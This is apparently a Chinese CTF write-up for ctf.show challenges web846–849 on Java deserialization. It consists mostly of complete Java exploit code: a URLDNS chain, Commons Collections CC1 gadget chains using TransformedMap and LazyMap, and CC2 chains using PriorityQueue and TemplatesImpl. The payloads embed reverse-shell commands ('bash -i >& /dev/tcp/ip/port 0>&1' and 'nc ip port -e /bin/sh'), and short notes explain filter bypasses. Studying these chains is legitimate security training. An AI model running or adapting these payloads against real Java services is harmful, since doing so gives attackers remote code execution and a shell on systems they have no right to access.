web846
这题是利用URLDNS链。
import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import java.net.URL;
public class chall1 {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://9655e930-62a3-4ccd-910c-0357db4827df.challenge.ctf.show");
map.put(url,1);
String data = serialize(map);
System.out.println(data);
}
public static String serialize(Object obj) throws IOException{
ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(obj);
outputStream.flush();
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
}
web847
这题直接利用cc1链getshell。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web847 {
public static void main(String[] args) throws Exception {
byte[] shellBytes = ("bash -i >& /dev/tcp/ip/port 0>&1").getBytes();
String shellStr = Base64.getEncoder().encodeToString(shellBytes);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,"+shellStr+"}|{base64,-d}|{bash,-i}"})
};
//将transformers数组存入ChainedTransformer这个继承类
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
HashMap innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);
String data = serializeToBase64(instance);
System.out.println(data);
unserializeFromBase64(data);
}
public static String serializeToBase64(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(obj);
outputStream.flush();
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//定义反序列化方法
public static void unserializeFromBase64(String str) throws Exception{
byte[] data = Base64.getDecoder().decode(str);
ByteArrayInputStream byteArrayInputStream =new ByteArrayInputStream(data);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
这里要记得传参数时要url编码,因为没有编码,一直报suid错误,我还一直以为版本不对🤣
web848
这里过滤了TransformedMap类,我们使用LazyMap可以绕过。
ysoserial中也是使用的LazyMap这条链。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class web848 {
public static void main(String[] args) throws Exception {
byte[] shellBytes = ("bash -i >&/dev/tcp/ip/port 0>&1").getBytes();
String shellStr = Base64.getEncoder().encodeToString(shellBytes);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,"+shellStr+"}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
// 这里动态代理一个LazyMap可以实现readObject->invoke->get
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
String payload = serializeToBase64(obj);
System.out.println(payload);
unserializeFromBase64(payload);
}
public static String serializeToBase64(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream =new ByteArrayOutputStream();
ObjectOutput outputStream =new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(obj);
outputStream.flush();
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserializeFromBase64(String str) throws Exception{
byte[] data = Base64.getDecoder().decode(str);
ByteArrayInputStream byteArrayInputStream =new ByteArrayInputStream(data);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
web849
环境使用了commons-collections4.0和jdk8
可以使用cc2链
cc2链结尾可以用之前的Runtime.getRuntime().exec也可以用新引入的字节码加载方式TemplateImpl(ysoserial里用的后面这种)。
第一种方式:
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class web849 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc ip port -e /bin/sh"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(1);
priorityQueue.add(1);
priorityQueue.add(2);//传入两个参数
// Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");//反射获取成员变量的field
// size.setAccessible(true);//获取访问权限
// size.set(priorityQueue,2);//设置参数
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field
field.setAccessible(true);//获取访问权限
field.set(priorityQueue,transformingComparator);//设置参数
String payload = serializeToBase64(priorityQueue);
System.out.println(payload);
unserializeFromBase64(payload);
}
public static String serializeToBase64(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutput outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(obj);
outputStream.flush();
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserializeFromBase64(String str) throws Exception {
byte[] data = Base64.getDecoder().decode(str);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
第二种方式:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class web849 {
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
setFieldValue(priorityQueue, "size", 8);
String payload = serializeToBase64(priorityQueue);
System.out.println(payload);
unserializeFromBase64(payload);
}
public static String serializeToBase64(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutput outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(obj);
outputStream.flush();
outputStream.close();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserializeFromBase64(String str) throws Exception {
byte[] data = Base64.getDecoder().decode(str);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
EvilTemplatesImpl.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTemplatesImpl () throws IOException {
Runtime.getRuntime().exec("nc ip port -e /bin/sh");
}
}